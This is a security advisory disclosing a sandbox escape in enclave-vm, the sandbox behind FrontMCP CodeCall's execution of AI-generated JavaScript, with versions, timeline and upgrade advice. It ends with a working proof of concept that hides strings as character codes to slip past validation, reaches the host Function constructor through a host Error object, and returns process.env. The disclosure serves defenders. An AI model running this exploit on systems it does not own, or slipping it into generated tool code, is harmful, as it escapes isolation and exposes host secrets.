enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain

A critical sandbox escape vulnerability exists in enclave-vm (affected: < 2.6.0, patched: 2.7.0) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the host Node.js runtime.

When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor:

Error instance → Error.prototype → Error constructor → Function constructor

With access to the host Function constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as process.env, filesystem, and network.

This breaks enclave-vm’s core security guarantee of isolating untrusted code.

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Ecosystem Impact (FrontMCP / CodeCall)

FrontMCP is a TypeScript-first framework for building MCP servers, and the CodeCall plugin enables models to orchestrate large toolsets by generating and executing JavaScript plans.

Enclave is the defense-in-depth sandbox layer behind CodeCall (AST validation + runtime sandboxing). If you use FrontMCP CodeCall for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.

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Live Playground (Safe Exploration & Testing)

To explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:

• EnclaveVM Playground: https://enclave.agentfront.dev

This is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.

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Timeline (Fast Fix)

• Fix released: [email protected] (Jan 9, 2026)
• Advisory published: Jan 13, 2026

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Proof of Concept

⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.

<details> <summary>Click to expand PoC</summary>

// Vector 35: The Host Error Escape
// Purpose: Trigger a Host-side error and traverse its prototype chain
// to reach the Host Function constructor.

const s = (...args) => String.fromCharCode(...args);

const kCon    = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);           // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);
const kCode   = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);
const kPtype  = s(112,114,111,116,111,116,121,112,101);

try {
    const ObjectProto = Object[kPtype];
    const lookup = ObjectProto[kLookup];
    const getProtoNative = lookup.call(ObjectProto, kProto);

    let hostError;
    try {
        await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});
    } catch (e) {
        hostError = e;
    }

    const errProto = getProtoNative.call(hostError);
    const ErrorCtor = errProto[kCon];
    const HostFunc = ErrorCtor[kCon];

    const exploitFn = HostFunc(kCode);
    return exploitFn();
} catch (e) {
    return e.message;
}

</details>